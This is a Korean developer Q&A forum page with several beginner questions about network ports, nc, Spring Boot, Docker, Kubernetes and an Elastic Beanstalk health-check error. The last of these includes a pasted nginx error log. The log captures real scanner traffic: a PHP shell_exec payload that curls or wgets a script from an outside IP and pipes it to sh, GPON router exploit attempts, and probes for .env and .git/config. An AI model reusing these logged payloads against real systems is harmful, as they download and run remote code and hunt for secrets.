묻고 답해요
140만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결
`nc -v`명령어를 이용해서 port 상태 확인하는 건 클라이언트 pc -> 서버 pc로만 확인이 가능한 건가요?
제가 이해하기로는 port 는 서비스에 대한 식별 번호이고, nc -v [ip] [port]를 통해 연결 여부를 확인할 수 있다고 알고 있습니다.즉, 방화벽에 의해 클라이언트 pc가 연결이 안되면 nc -v 명령어가 연결 안된다고 결과를 내뱉는다고 들었어요. 즉, nc -v [ip] [port]는 해당 ip를 가진 서버 pc에서 특정 서비스 port로의 연결 상태를 확인 가능하다.라고 이해하고 있습니다. 서버 pc가 해당 서비스를 제공하기 위해서 클라이언트 pc로의 연결 상태를 확인하고 싶을 수 도 있잖아요.. 뭐 예를 들어 클라이언트 pc 쪽에도 방화벽이 걸려 있을 수 있으니까.. 그럴때는 어떻게 확인해야 해요??? nc -v [클라이언트pc의 ip] 를 입력하니까 port 를 적으라고 하는데... nc -v 명령어에 사용되는 port 는 서버 쪽에 설정된 port 정보 아닌가요....? 만약 서버 : ip : 1.1.1.1 , port : 14433클라이언트 : ip : 55.5.5.5 라고 가정했을 때 클라이언트 입장에서 서버에 있는 14433 서비스를 이용하기 위해 연결 여부 확인하려면 nc -v 1.1.1.1 14433을 입력하면 되는건 이해했습니다. 근데 반대로서버 입장에서 클라이언트에 연결됐는지 확인하기 위해서nc -v 55.5.5.5 14433 을 입력을 하는 게 이해가 안가요.. 저기 있는 14433은 서버 pc에 설정된 port 아닌가요..?
-
해결됨스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술
바꾼 port 번호가 gradle build 후 적용되지 않는 문제
안녕하세요.다름이 아니라 제가 port 번호 8080을 쓰고 있었던 상태라, unauthorized라고 떠서 edit configuration에서 환경변수를 추가하여 포트 번호를 8090으로 변경했습니다. 문제는 gradle build를 완료했을 때 포트 번호가 8080으로 뜬다는 것입니다. 이 부분은 제가 인텔리제이를 실행해서 에러가 뜬 건데 8080으로 표시된다는 걸 보여주려고 첨부합니다. localhost:8090으로 들어가면 당연히 연결할 수 없다고 뜨고요. (인텔리제이에서 실행하고 8090으로 들어가면 잘 들어가집니다.) 부디 빠른 답변 부탁드립니다!
-
미해결
elasticbeanstalk healthcheck 오류 질문 (Target.FailedHealthChecks)
안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..!작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.)user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } }SERVER_PORT를 다음과 같이 5000 포트로 적용했고elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다.타겟 그룹도 다음과 같이 설정하였습니다.nginx의 로그를 확인해보면 다음과 같았습니다.2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "month" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "day" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "hour" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:16:22 [error] 24478#24478: *137 connect() failed (111: Connection refused) while connecting to upstream, client: 212.224.86.136, server: , request: "GET /sendgrid.env HTTP/1.1", upstream: "http://127.0.0.1:8080/sendgrid.env", host: "3.35.18.161" 2023/04/11 21:17:41 [error] 24478#24478: *139 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "year" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "month" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "day" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "hour" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 22:13:41 [error] 24478#24478: *143 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 22:13:42 [error] 24478#24478: *145 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/11 22:20:01 [error] 24478#24478: *147 connect() failed (111: Connection refused) while connecting to upstream, client: 194.55.224.203, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 22:35:51 [error] 24478#24478: *149 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 23:40:01 [error] 24478#24478: *154 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 23:40:01 [error] 24478#24478: *156 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "year" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "month" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "day" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "hour" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:54:08 [error] 24478#24478: *159 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 00:00:18 [error] 24478#24478: *161 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "year" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "month" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "day" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "hour" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:13:46 [error] 24478#24478: *164 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:13:47 [error] 24478#24478: *166 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:41:01 [error] 24478#24478: *169 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 00:46:12 [error] 24478#24478: *171 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:46:14 [error] 24478#24478: *173 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:12:57 [error] 24478#24478: *175 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 01:14:04 [error] 24478#24478: *177 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:07 [error] 24478#24478: *179 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:08 [error] 24478#24478: *181 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 02:21:44 [error] 24478#24478: *184 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.121, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:22:37 [error] 24478#24478: *186 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.109, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "3.35.18.161" 2023/04/12 02:23:17 [error] 24478#24478: *188 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.111, server: , request: "GET /geoserver/web/ HTTP/1.1", upstream: "http://127.0.0.1:8080/geoserver/web/", host: "3.35.18.161" 2023/04/12 02:32:40 [error] 24478#24478: *190 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 02:35:26 [error] 24478#24478: *192 connect() failed (111: Connection refused) while connecting to upstream, client: 120.85.116.175, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "year" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "month" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "day" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "hour" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "year" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "month" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "day" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "hour" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:55:29 [error] 24478#24478: *195 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:55:29 [error] 24478#24478: *197 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 03:52:37 [error] 24478#24478: *200 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 03:56:49 [error] 24478#24478: *202 connect() failed (111: Connection refused) while connecting to upstream, client: 45.128.232.149, server: , request: "POST /boaform/admin/formLogin HTTP/1.1", upstream: "http://127.0.0.1:8080/boaform/admin/formLogin", host: "3.35.18.161:80", referrer: "http://3.35.18.161:80/admin/login.asp" 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "year" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "month" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "day" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "hour" variable while logging request, client: 45.128.232.149, server: 2023/04/12 04:31:04 [error] 9297#9297: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 159.65.111.248, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/", host: "localhost:8080" 2023/04/12 04:35:15 [error] 9297#9297: *4 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:15 [error] 9297#9297: *6 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *10 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *12 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *14 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *16 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *18 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *20 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:30 [error] 9297#9297: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:30 [error] 9297#9297: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:38:11 [error] 9297#9297: *41 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 05:12:56 [error] 18216#18216: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80"
-
미해결대세는 쿠버네티스 [초급~중급]
파드 포트 궁금한점 입니다.
파드안에서의 컨테이너는 port가 겹칠경우 에러가 난다 라는 것은 알겠습니다 파드 ip : port 로 구분하니까 파드1:80, 파드2:80 같이 파드 끼리의 컨테이너 port는 겹쳐도 문제 없는건가요? localhost:80 하면 누가 나오나요 파드1의 localhost:80과 파드2의 localhost:80은 다른건가요
-
미해결모든 개발자를 위한 HTTP 웹 기본 지식
클라이언트-서버 간의 TCP/IP 통신
2:00 쯤, 클라이언트-서버 간의 TCP/IP 통신은 IP로만 통신을 한다고 설명해주셨는데 이에 대해 궁금한 부분이 있어 질문 드립니다. Q0. TCP/IP 통신 자체가 IP로만 통신하는 방법이라는 의미가 아니고, 예시처럼 이름기반 가상호스팅을 하는 상황에서는 IP와 Host 정보만을 가지고 통신을 할 수 있다는 의미이신건가요? (앞선 [챕터1. 인터넷 네트워크] 강의에서 TCP/IP 통신은 IP와 PORT 정보를 가지고 통신을 하며, 동일한 IP 내에서 PORT를 통해 프로세스를 구분한다는 설명과는 다른 부분이 있어 약간 혼동이 생겼습니다) Q1. 그럼 예시 상황에서 PORT 개념은 해당 통신에서 사용되지 않는건가요? 혹시 사용된다면 어떻게 사용되는걸까요?!
-
미해결초보를 위한 도커 안내서
wordpress 오류...
안녕하세요, 선생님! 윈도우 환경에서 yml 파일을 똑같이 작성하여 만든 뒤 docker-compose up -d 명령어를 실행했더니 아래와 같은 오류가 발생합니다. 워드프레스의 포트를 8000:80이 아닌 다른 포트로 지정하여 실행하면 오류는 발생하진 않지만 다음과 같이 크롬에서 워드프레스로 들어가지 못합니다. 올려주신 yml파일을 그대로 작성한 뒤 명령어를 실행한 결과 cmd 상에서 나오는 오류는 다음과 같습니다. C:\Users\(사용자)\docker-test>docker-compose up -d Creating network "docker-test_default" with the default driver Creating docker-test_db_1 ... Creating docker-test_wordpress_1 ... error Creating docker-test_db_1 ... done nd: An attempt was made to access a socket in a way forbidden by its access permissions. ERROR: for wordpress Cannot start service wordpress: Ports are not available: listen tcp 0.0.0.0:8000: bind: An attempt was made to access a socket in a way forbidden by its access permissions. ERROR: Encountered errors while bringing up the project.
-
미해결따라하며 배우는 노드, 리액트 시리즈 - 기본 강의
port 번호 관련 질문
안녕하세요 선생님~ 항상 강의 잘듣고 있습니다. 다름이 아니라 강의 수강 중 궁금한 점이 생겨 질문 남깁니다. 맨처음에 서버 포트 설정시 아무거나 해도 된다고 하셔서 저는 3000번을 포트로 설정했었는데요. 클라이언트의 경우 따로 설정한게 없는 것 같은데 기본 포트가 3000번인지 궁금합니다. 현재 저는 클라이언트와 백엔드 서버를 켜면 이미 같은 포트에 somethins is running 이라고 뜹니다.
-
해결됨Spring Cloud로 개발하는 마이크로서비스 애플리케이션(MSA)
port 를 일정 범위안에서 랜덤하게 하면 discoveryService 에서 port를 다르게 인지합니다.
